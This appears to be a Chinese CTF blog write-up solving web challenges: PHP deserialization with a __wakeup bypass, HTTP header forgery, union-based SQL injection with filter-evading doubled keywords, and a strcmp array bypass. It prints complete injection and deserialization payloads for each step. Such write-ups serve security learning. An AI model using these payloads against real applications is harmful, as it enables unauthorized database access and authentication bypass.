PHP
进入题目之后,提示我们存在备份文件,扫出来www.zip。
里面存在class.php、index.php、flag.php。
这些就说明这是个反序列化的题目了,分析下代码,我们需要让username=admin,而且password!=100,先序列化。
得到
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"%Namepassword";i:100;}
这里注意到Nameusername只有12个字符,而前面显示有14个,这是因为当成员变量是私有的时候,会在成员变量前面添加类名;当成员变量是被保护的时候,会在被保护成员前面添加一个,并且,所添加的类名或者的左右两边都会有一个null字节,因此,这两个长度都增加了2。这里的wakeup通过属性个数的值大于其真实值即可 绕过,于是构造payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
得到flag。
PS:
private的成员变量被反序列化后变成 %00Name%00username。
public的成员变量不变,仍为username。
protected的成员变量变成 %00*%00username。
Http
进入题目,查看源码,发现Secret.php。
访问。
于是伪造referer。
然后
于是更改User-Agent为Syclover。
接着
于是XFF伪造,得到flag
LoveSQL
SQL注入题,进入题目,万能密码登陆成功,于是判断是字符型注入。
接着用order by来判表有几个字段,当 order by 4时,报错,于是判断有3个字段。
接着使用union查询,查询所用数据库名,此时输入的内容为
用户名:admina' union select 1,2,database()#
密码:123
接着列出所有的数据库,此时输入内容为
用户名:admina' union select 1,2,group_concat(schema_name)from information_schema.schemata#
密码:123
得到所有的数据库名
猜测flag在test里面,所以先看test数据库里面的表名,此时输入内容为
用户名:admina' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test'#
密码:123
但是显示没有任何的表,于是查看geek数据库的表,此时输入内容为
用户名:admina' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
密码:123
发现里面存在两个表
查看l0ve1ysq1表里面的字段名,此时输入的内容为
用户名:admina' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
密码:123
接着查看这些字段的内容,此时输入内容为
用户名:admina' union select 1,2,group_concat(id,username,password) from geek.l0ve1ysq1#
密码:123
ctrl+f搜索flag,找到flag
BabySQL
SQL注入题,进入题目,万能密码登陆失败,这个时候输入的内容为
用户名:admin'or 1=1#
密码:123
报错显示or被过滤掉了,于是双写or
用户名:admin'oorr 1=1#
密码:123
登录成功
接着用order by来判表有几个字段,也同样的道理,发现by被过滤了,于是输入内容为
用户名:admin' oorrder bbyy 1# //写成oorder是因为or被过滤了
密码:123
当 order by 4时,报错,于是判断有3个字段。
接着使用union查询,查询所用数据库名
用户名:admina' uniunionon seselectlect 1,2,database()#//这里双写和上面同样原因,发现被过滤了
密码:123
接着列出所有的数据库名
用户名:admina' uniunionon seselectlect 1,2,group_concat(schema_name) ffromrom infoorrmation_schema.schemata#
密码:123
接着查看ctf数据库里面有哪些表
用户名:admina' uniunionon seselectlect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema='ctf'#
密码:123
发现存在Flag表
接着查询Flag表里面的字段
用户名:admina' uniunionon seselectlect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='Flag'#
密码:123
被骗了,里面没有内容
接着查询geek表里面的表
用户名:admina' uniunionon seselectlect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema='geek'#
密码:123
接着查询b4bsql表的字段
用户名:admina' uniunionon seselectlect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'#
密码:123
接着查看这些字段的内容
用户名:admina' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom geek.b4bsql#
密码:123
ctrl+f,发现flag
BuyFlag
进入题目,发现BuyFlag页面
发现说我们满足已上条件才可以买到flag,查看源码,发现
这个可以通过password=404a绕过,但是学生不知道在哪认证,抓个包,发现有个user=0
这个应该就是判断你是不是学生了,修改成user=1即可,接着构造这样的payload
说我们的Nember的长度太多了,也就是money的值太长了,但是必须又要这么多钱才可以买得到,输入钱少的时候又说
那怎么办呢,猜测后端应该是用strcmp函数进行钱的判断,但是这个函数存在一个漏洞,当这个函数接受到了不符合的类型(非字符串类型),这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0!也就是虽然报了错,但却判定其相等了,可以通过一个数组或者一个object绕过,于是我们构造money[]=1进行绕过,得到flag。